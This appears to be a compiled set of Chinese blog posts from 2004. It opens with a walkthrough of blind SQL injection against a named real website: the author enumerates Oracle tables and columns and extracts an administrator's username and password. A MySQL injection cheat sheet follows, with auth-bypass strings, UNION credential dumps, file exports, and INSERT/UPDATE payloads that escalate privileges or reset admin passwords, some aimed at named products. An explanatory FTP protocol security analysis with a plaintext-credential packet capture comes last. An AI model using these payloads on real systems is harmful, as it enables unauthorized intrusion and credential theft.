2004年12月26日

http://et.kpworld.com/star.asp?performer=马三立;
——————————————————
OraOLEDB 错误 ’80040e14′ ORA-00911: 
invalid character 
/star.asp,行83 

说明过滤了分号。

http://et.kpworld.com/star.asp?performer=马三立’
—————————————————-
OraOLEDB 错误 ’80004005′ ORA-01756: 
括号内的字符串没有正确结束 
/star.asp,行83 

看来存在未过滤单引号问题。

http://et.kpworld.com/star.asp?performer=马三立’ and ’1′=’1
—————————————————————-
闭和他单引号,正常返回。

and 0<>(select count(*) from admin) and  ’1′=’1
—————————————————————–
OraOLEDB 错误 ’80040e37′ ORA-00942: 
table or view does not exist 
/star.asp,行83 

说明不存在ADMIN这个表.
******************************************************************

下面需要知道ORACLE的系统表:

确定表中行的总数:

select num_rows from user_tables where table_name=’表名 ———————-存放当前用户所有表
where table_name=’表名
’selectcolumn_name,
from user_tab_columns ———————–存放所有列
where table_name=’表名’

and 0<>(select count(*) from all_tables) and  ’1′=’1
———————————————————————
存在!
all_tables是一个系统表,用来存放当前ID和其他用户的所有表

and 0<>(select count(*) from user_tables) and  ’1′=’1
———————————————————————

返回。有这个系统表,这个表存放当前用户的所有表

and 0<>(select top 1 table_name from user_tables) and  ’1′=’1
———————————————————————————
OraOLEDB 错误 ’80040e14′ ORA-00923: 
FROM keyword not found where expected 
/star.asp,行83 

不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)

and 0<>(select count(*) from user_tables where table_nam<>”) and  ’1′=’1
——————————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00904: 
invalid column name /star.asp,行83

当语法错误时,会显示无效列名字

and 0<>(select count(*) from user_tables where table_name<>””) and ’1′=’1
——————————————————————————————–

语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试:

and 0<>(select count(*) from user_tables where sum(table_name)>1) and ’1′=’1
————————————————————————————————

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here 
/star.asp,行83 
组函数不允许在这里。

and 0<>(select count(*) from user_tables where avg(table_name)) and ’1′=’1
——————————————————————————————-

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here /star.asp,行83

组函数不允许在这里。

and 0<>(select to_char(table_name) from user_tables) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80004005′ ORA-01427: 
single-row subquery returns more than one row 
/star.asp,行83 
单行的子查询返回多于一行

and 0<>(select count(*) from user_tables where table_name+1) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00920: 
invalid relational operator 
/star.asp,行83 

测试到这里,下面看看怎么弄出他的表来:

and 0<>(select count(*) from performer) and%20′1′=’1
—————————————————–

成功返回。这里的表是看前面URL猜的.

and 0<>(select count(*) from user_tables where table_name=’performer’) and%20′1′=’1
————————————————————————————-
没返回。失败标志。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’PERFORMER’) and%20′1′=’1
————————————————————————————————

成功了! 看来这个user_tables表只认识大写字母!

and 0<>(select count(*) from user_tables where length(table_name)>10) and%20′1′=’1
————————————————————————————

用length函数确定最长表的位数

and 0<>(select count(*) from user_tables where length(table_name)=18) and%20′1′=’1
————————————————————————————-

省略若干步骤,最后确定最长表为18位。

and 0<>(select count(*) from user_tables where substr(table_name,1,1)=’A') and%20′1′=’1
—————————————————————————————–

第一位为’A',

and 0<>(select count(*) from user_tables where substr(table_name,1,2)=’AD’) and%20′1′=’1
—————————————————————————————–

第二位为’AD’

and 0<>(select count(*) from user_tables where substr(table_name,1,18)=’ADMINAUTHORIZATION’) and%20′1′=’1
———————————————————————————————
省略若干,18位的表名为’ADMINAUTHORIZATION’。

and 1=(select count(*) from user_tables where table_name=’ADMINAUTHORIZATION’) and%20′1′=’1
——————————————————————————————–
返回。

and 0<>(select count(*) from user_tables where length(table_name)=2) and%20′1′=’1
———————————————————————————-

最小表名长度为2

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25user%25′)%20and%20%20′1′=’1
————————————————————————————————-

没返回。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25ADMIN%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25PER%25′) and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25BBS%25′)%20and%20′1′=’1
————————————————————————————————-

都成功返回。看来可以利用LIKE猜。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>8) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)=10)%20and%20′1′=’1
————————————————————————————————-
利用LIKE和LENGTH组合猜,马上就能确定长度。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=’BBSS’)%20and%20′1′=’1
————————————————————————————————-
猜出第四位是S。接下来就是重复劳动了。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=’BBSSUBJECT’)%20and%20′1′=’1
————————————————————————————————-
猜出来了。’BBSSUBJECT’

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

没返回,不象是保存用户和密码的表。再来。。。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-

确定长度为15。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=’U'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=’S'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=’USER’%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-

确定表名’UNSUBSCRIBEUSER’,接下来猜是否有密码字段。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25PASS%25′)%20and%20′1′=’1
————————————————————————————————-
LIKE PASS,没返回,郁闷,继续。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20′%25PASS%25′%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-
返回。不准确。

————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=’SS’) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=’SS’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’) and%20′1′=’1
————————————————————————————————-
这里用SUBSTR缩小范围.

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’%20and%20length(column_name)=11)%20and%20′1′=’1
————————————————————————————————-

含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位,后是4位,一共是11位。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=’PASSWORD’)%20and%20′1′=’1
————————————————————————————————-

猜一下,果然是。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-

全返回,确定密码字段名字’STRPASSWORD’。把密码字段抓到就好办了,再利用他抓表名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13) and ’1′=’1
————————————————————————————————-

返回,和上面猜出的表名长度符合。用SUBSTR猜出他名字:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20substr(table_name,1,13)=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

全返回,确定表名为:’ADMINISTRATOR’.

and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

猜出表里有8个字段。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25ID%25′)%20and%20′1′=’1
————————————————————————————————-
and%203=(select%20count(*)%20from%20ADMINISTRATOR) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-2,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
可以判断是ID结尾了,长度为5。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-5,5)=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
出来了,LNGID。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20′1′=’1
————————————————————————————————-
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
最小ID,最大ID也出来,接下来弄密码

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
LNGID为8的密码长度为4

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第一位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第二位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第三位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第四位

STRPASSWORD:test

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-

OH,YEAH~~密码出来了。

接着搞用户名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25NAME%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,1,7)=’STRNAME’)%20and%20′1′=’1
————————————————————————————————-

出来了,字段:STRNAME

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20not%20in(‘STRNAME’,'STRPASSWORD’,'LNGID’))%20and%20′1′=’1 
————————————————————————————————-
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20′1′=’1
————————————————————————————————-
STRNAME值长度为4,不会是和密码相同吧。。。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20STRNAME=’test’)%20and%20′1′=’1
————————————————————————————————-
呵呵,果然。


表名ADMINISTRATOR,列名:STRNAME,STRPASSWORD,LNGID


LNGID=8 STRNAME=test STRPASSWORD=test

2004年12月22日

作者:war3apollo http://bbs.powers.com.cn



‘ or 1=1


‘ or ‘1=1


‘/*


‘%23


‘ and password=’mypass


id=-1 union select 1,1,1


id=-1 union select char(97),char(97),char(97)


id=1 union select 1,1,1 from members


id=1 union select 1,1,1 from admin


id=1 union select 1,1,1 from user


userid=1 and password=mypass


userid=1 and mid(password,3,1)=char(112)


userid=1 and mid(password,4,1)=char(97)


and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)


‘ and LENGTH(password)=’6(探测密码长度)


‘ and LEFT(password,1)=’m


‘ and LEFT(password,2)=’my


…………………………依次类推


‘ union select 1,username,password from user/*


‘ union select 1,username,password from user/*


=’ union select 1,username,password from user/* (可以是1或者=后直接跟)


99999′ union select 1,username,password from user/*


‘ into outfile ‘c:/file.txt (导出文件)


=’ or 1=1 into outfile ‘c:/file.txt


1′ union select 1,username,password from user into outfile ‘c:/user.txt


select password FROM admins where login=’John’ INTO DUMPFILE ‘/path/to/site/file.txt’


id=’ union select 1,username,password from user into outfile


id=-1 union select 1,database(),version() (灵活应用查询)


常用查询测试语句,


select * FROM table where 1=1


select * FROM table where ‘uuu’='uuu’


select * FROM table where 1<>2


select * FROM table where 3>2


select * FROM table where 2<3


select * FROM table where 1


select * FROM table where 1+1


select * FROM table where 1–1


select * FROM table where ISNULL(NULL)


select * FROM table where ISNULL(COT(0))


select * FROM table where 1 IS NOT NULL


select * FROM table where NULL IS NULL


select * FROM table where 2 BETWEEN 1 AND 3


select * FROM table where ‘b’ BETWEEN ‘a’ AND ‘c’


select * FROM table where 2 IN (0,1,2)


select * FROM table where CASE WHEN 1>0 THEN 1 END



例如:夜猫下载系统1.0版本


id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1


union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user


union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1


union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)


union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)


union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)


union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51


…………………………………………………………



例如2:灰色轨迹 变换id进行测试(meteor)


union%20(select%20allowsmilies,public,userid,’0000-0-0′,user
(),version()%20FROM%20calendar_events%20where%20eventid%20=%
2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,’0000-0-0′,pass
(),version()%20FROM%20calendar_events%20where%20eventid%20=%
2010)%20order%20by%20eventdate


构造语句:

select allowsmilies,public,userid,eventdate,event,subject FROM
calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user
where userid=1)

select allowsmilies,public,userid,eventdate,event,subject FROM
calendar_events where eventid = 1 union (select
1,1,1,1,username,password from user where userid=1)


union%20(select%201,0,2,’1999-01-01′,’a',password%20FROM%20u ser%20where%20userid%20=%205)%20order%20by%20eventdate


union%20(select%201,0,12695,’1999-01-01′,’a',password%20FROM %20user%20where%20userid=13465)%20order%20by%20eventdate

union%20(select%201,0,12695,’1999-01-01′,’a',userid%20FROM%2
0user%20where%20username=’sandflee’)%20order%20by%20eventdat e (查沙子的id)




(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)


select * FROM article where articleid=’$id’ union select * FROM……(字段和数据库相同情况下,可直接提交)


select * FROM article where articleid=’$id’ union select 1,1,1,1,1,1,1 FROM……(不同的情况下)



特殊技巧:在表单,搜索引擎等地方写:


“___”


“.__ ”


“%


%’ ORDER BY articleid/*


%’ ORDER BY articleid#


__’ ORDER BY articleid/*


__’ ORDER BY articleid#



$command = “dir c:\”;system($command);


select * FROM article where articleid=’$id’


select * FROM article where articleid=$id


1′ and 1=2 union select * from user where userid=1/* 句中变为


(select * FROM article where articleid=’1′ and 1=2 union select * from user where userid=1/*’)


1 and 1=2 union select * from user where userid=1



语句形式:建立一个库,插入:


create DATABASE `injection`


create TABLE `user` (


`userid` int(11) NOT NULL auto_increment,


`username` varchar(20) NOT NULL default ”,


`password` varchar(20) NOT NULL default ”,


PRIMARY KEY (`userid`)


) ;


insert INTO `user` VALUES (1, ’swap’, ‘mypass’);




插如一个注册用户:


insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ‘1′);


“insert INTO membres (login,password,nom,email,userlevel) VALUES (‘$login’,'$pass’,'$nom’,'$email’,'1′)”;


insert INTO membres (login,password,nom,email,userlevel) VALUES (”,”,”,”,’3′)#’,'1′)


“insert INTO membres SET login=’$login’,password=’$pass’,nom=’$nom’,email=’$email’”;


insert INTO membres SET login=”,password=”,nom=”,userlevel=’3′,email=”


“insert INTO membres VALUES (‘$id’,'$login’,'$pass’,'$nom’,'$email’,'1′)”;



update user SET password=’$password’, homepage=’$homepage’ where id=’$id’


update user SET password=’MD5(mypass)’ where username=’admin’#)’, homepage=’$homepage’ where id=’$id’


“update membres SET password=’$pass’,nom=’$nom’,email=’$email’ where id=’$id’”;


update membres SET password=’[PASS]‘,nom=”,userlevel=’3′,email=’ ‘ where id=’[ID]‘


“update news SET Votes=Votes+1, score=score+$note where idnews=’$id’”;



长用函数:


DATABASE()


USER()


SYSTEM_USER()


SESSION_USER()


CURRENT_USER()


比如:


update article SET title=$title where articleid=1 对应函数


update article SET title=DATABASE() where id=1


#把当前数据库名更新到title字段


update article SET title=USER() where id=1


#把当前 MySQL 用户名更新到title字段


update article SET title=SYSTEM_USER() where id=1


#把当前 MySQL 用户名更新到title字段


update article SET title=SESSION_USER() where id=1


#把当前 MySQL 用户名更新到title字段


update article SET title=CURRENT_USER() where id=1


#把当前会话被验证匹配的用户名更新到title字段



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


$req = “select * FROM membres where name like ‘%$search%’ ORDER BY name”;


select * FROM membres where name like ‘%%’ ORDER BY uid#%’ ORDER BY name


select * FROM membres where name like ‘%%’ ORDER BY uid#%’ ORDER BY name


select uid FROM admins where login=” OR ‘a’='a’ AND password=” OR ‘a’='a’ (经典)


select uid FROM admins where login=” OR admin_level=1#’ AND password=”


select * FROM table where msg like ‘%hop’


select uid FROM membres where login=’Bob’ AND password like ‘a%’#’ AND password=”


select * FROM membres where name like ‘%%’ ORDER BY uid#%’ ORDER BY name

FTP协议安全分析


作者:xinhe



前 言

FTP(File Transfer
Protocol,文件传输协议)是互联网上常用的协议之一,人们用FTP实现互连网上的文件传输。由于TCP/IP协议族在设计时是处在一个相互信任的
平台上的,使得在网络安全越来越被重视的今天,TCP/IP协议族的安全性也成为了安全界研究的一个重点,著名的ARP欺骗,交换环境下的数据监听,中间
人攻击,以及DDOS,都利用了TCP/IP协议的脆弱性,FTP协议也或多或少的存在着一些问题,本文从FTP协议本身出来,探讨一下FTP协议的安全
性。



第一章 FTP协议


一、协议简介


FTP协议和HTTP协议类似,都是采用的TCP连接,但与HTTP协议不同的是,HTTP协议的所有数据都是通过80端口进行传输(这里不考虑
SSL),而FTP把数据和命令分开来处理,我们暂且把它们分别命名为“命令通道”和“数据通道”。命令通道一般是在我们熟悉的21端口,而数据通道通常
是一个高端口。例如客户机要从FTP服务器上获取某个文件,首先由客户机登录服务器,与服务器建立连接,这就是我们前面讲的“命令通道”,客户机从这条通
道将请求文件的命令发往服务器,服务器接到此命令后将与客户机重新建立一条连接,这就是我们面前讲的“数据通道”,文件数据将通过数据通道传送到客户机。
这里我们用图1-1来表示文件传输中的处理过程



用户接口


|


| 命令通道


用户协议解释器————–服务器协议接口


|


| 数据通道


用户数据传输功能———–服务器数据传输功能






二、数据表示


FTP协议规范提供了控制文件传送与存储的多种选择。在以下四个方面都须作出一个选择。


1、文件类型


(1)ASCII码文件类型 一般情况下ASCII码文件类型是默认选择的。


(2)EBCDIC文件类型 该类型传输方式要求两端都是EBCDIC系统。


(3)图像文件类型(也称二进制类型) 数据发送呈现为一个比特流,通常用于传输二进制文件


(4)本地文件类型 该方式在具有不同字节大小的主机之间传输二进制文件。



2、格式控制


该选项只对ASCII和EBCDIC文件有效。


(1)非打印


(2)远程登录格式控制


(3)Fortran回车控制



3、结构


(1)文件结构


(2)记录结构


(3)页结构



4、传输方式


(1)流方式


(2)块方式


(3)压缩方式



三、FTP命令


FTP命令和应答是在命令通道以ASCII码开形式传送的,以下给出常用的命令及命令的相关说明:


命令 说 明


ABOR 放弃先前的FTP命令和数据转输


LIST 列表显示文件或目录


PASS 服务器上的口令


PORT 客户IP地址和端口


QUIT 从服务器上注销


RETR 取一个文件


STOR 存一个文件


SYST 服务器返回系统类型


TYPE 说明文件类型


USER 服务器上的用户名



四、FTP应答


FTP应答都是ASCII码形式的3位数字,并跟有报文选项。3位数字每一位都有不同的意义,这里给出一些常见的反回数字:


125 数据通道已经打开;传输开始。


200 就绪命令。


214 帮助报文。


331 用户名就绪,要求输入口令。


425 不能打开数据通道。


500 语法错误(未认可命令)。


501 语法错误(无效参数)。


502 未实现的MODE(方式命令)类型。



五、连接管理


我们在前面讲了FTP的命令传输和数据传输是通过不同的端口进行传输的,连接管理也就理所当然的成了FTP协议的核心问题。其中最关键的又是数据通道的管理。


数据通道有以下三大用途:


1>从客户向服务器发送一个文件。


2>从服务器向客户发送一个文件。


3>从服务器向客户发送文件域目录列表。


其中传输模式又有主动FTP和被动FTP之分。主动FTP的一般过程如下:


1、客户发出命令建立数据连接。


2、客户通常在客户端主机上为所在数据连接选择一个临时端口号。客户从该端口发布一个被动的打开。


3、客户使用PORT命令从命令通道把数据通道的端口发向服务器。


4、服务器在命令通道上接收端口号,并向客户端主机上的端口发存一个主动的打开。这时服务器的数据通道使用的是20端口。


而被动FTP与主动FTP不同的是它不是由客户主机开一个临时端口,而是由服务器开一个临时端口等待客户机的连接。Fedora自带的vsftp就是采用的被动的传输模式。下面是从登录vsftp,到执行ls,再到退出的全过程。


[xinhe@xinhe xinhe]$ ftp -d xxx.xxx.xxx.xxx


Connected to xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx).


220 Welcome to ylyz FTP service.


Name (xxx.xxx.xxx.xxx:xinhe): xplore


—> USER xinhe


331 Please specify the password.


Password:


—> PASS XXXX


230 Login successful.


—> SYST


215 UNIX Type: L8


Remote system type is UNIX.


Using binary mode to transfer files.


ftp> ls


ftp: setsockopt (ignored): Permission denied


—> PASV


227 Entering Passive Mode (xxx,xxx,xxx,xxx,204,73)


—> LIST


150 Here comes the directory listing.


drwxr-xr-x 11 48 48 4096 Jul 21 10:52 xxx


drwxr-xr-x 19 48 48 4096 Jul 31 14:18 xxxx


drwx—— 2 0 0 16384 Jun 23 03:18 lost+found


drwxr-xr-x 3 510 510 4096 Aug 03 05:42 software


drwxr-xr-x 2 510 510 4096 Jun 30 09:34 tmp


drwxr-xr-x 6 510 510 4096 Jun 27 08:17 xxxxx


drwxrwxr-x 10 501 501 4096 Aug 12 20:35 xxxxxxx


-rw-r–r– 1 510 510 12649185 Aug 12 20:34 xxxx


drwxr-xr-x 7 501 12 4096 Jul 03 15:13 xinhe


drwxr-xr-x 7 510 510 4096 Aug 13 19:08 zwell


226 Directory send OK.


Ftp> bye


—> QUIT


221 Goodbye.



以上就是登录某台vsftp的服务器,执行了一个ls然后再退出的全过程,以上是采用的被动传输模式,关键看这一句:


—> PASV


227 Entering Passive Mode (xxx,xxx,xxx,xxx,204,73)



这一句告诉了我们服务器的IP和开临时数据端口,接着便是登录到这一临时端口 52297 ,临时端口的算法:204*256+73。为了更清楚的了解之过程,我们对这一过程的数据传送进行了监视。以下是客户机登录临时端口过程中的一段


08/24-15:24:24.052846 0:E0:4C:F0:E0:EA -> 0:D0:F8:51:FC:81 type:0×800 len:0×4A


192.168.10.8:32791 -> xxx.xxx.xxx.xxx:52297 TCP TTL:64 TOS:0×0 ID:39780 IpLen:20 DgmLen:60 DF


******S* Seq: 0×42206DD2 Ack: 0×0 Win: 0×16D0 TcpLen: 40


TCP Options (5) => MSS: 1460 SackOK TS: 849590 0 NOP WS: 0


注:由于测式过程中的服务器是公网上的真实服务器,故屏弊其地址。




第二章 安全隐患



以上我们讨论了FTP协议本身和FTP的具体传输过程,在这一过程中,很多地方都存在着安全隐患,随着互联网和普及了深入,网络安全也越来越被人们重视,
在这里我把一些常见的关于FTP的安全隐患提出来,希望引起人们对FTP安全的重视,使FTP服务器和数据传输过程更加安全。


一、FTP服务器软件漏洞


这类安全隐患不是本文讨论的重点,但是在这里必须把它提出来,因为它对于FTP服务供应商来说就是恶梦,也是倍受黑客们关注的焦点,常用的FTP服务软件
有Wu-ftpd,
ProFTPD,vsftpd,以及windows下常用的Serv-U等,最常见也最可怕的漏洞就是缓冲区溢出,近来Wu-ftpd和Serv-U的溢
出漏洞层出不穷,ProFTPD也出现过缓冲区溢出,目前比较安全的还是vsftp,必竞是号称非常安全的FTP。



二、明文口令


前面讲过了,TCP/IP协议族的设计在地相互信任和安全的基础上的,FTP的设计当然也没有采用加密传送,这样的话,FTP客户与服务器之前所有的数据传送都是通过明文的方式,当然也包括了口令。


至从有了交换环境下的数据监听之后,这种明文传送就变得十分危险,因为别人可能从传输过程过捕获一些敏感的信息,如用户名和口令等。像HTTPS和SSH
都采用加密解决了这一问题。而FTP仍然是明文传送,而像UINX和LINUX这类系统的ftp账号通常就是系统帐号,(vsftp就是这样做的)。这样
黑客就可以通过捕获FTP的用户名和口令来取得系统的帐号,如果该帐号可以远程登录的话,通常采用本地溢出来获得root权限。这样这台FTP服务器就被
黑客控制了。


以下是我捕获的明文传送的数据:


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



08/24-15:24:13.511233 0:E0:4C:F0:E0:EA -> 0:D0:F8:51:FC:81 type:0×800 len:0×4F


192.168.10.8:32790 -> xxx.xxx.xxx.xxx:21 TCP TTL:64 TOS:0×10 ID:36423 IpLen:20 DgmLen:65 DF


***AP*** Seq: 0×407F7F77 Ack: 0×1BD963BF Win: 0×16D0 TcpLen: 32


TCP Options (3) => NOP NOP TS: 848536 1353912910


55 53 45 52 20 78 70 6C 6F 72 65 0D 0A USER xinhe..



=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+



08/24-15:24:13.557058 0:D0:F8:51:FC:81 -> 0:E0:4C:F0:E0:EA type:0×800 len:0×42


xxx.xxx.xxx.xxx:21 -> 192.168.10.8:32790 TCP TTL:56 TOS:0×0 ID:29145 IpLen:20 DgmLen:52 DF


***A**** Seq: 0×1BD963BF Ack: 0×407F7F84 Win: 0×16A0 TcpLen: 32


TCP Options (3) => NOP NOP TS: 1353916422 848536



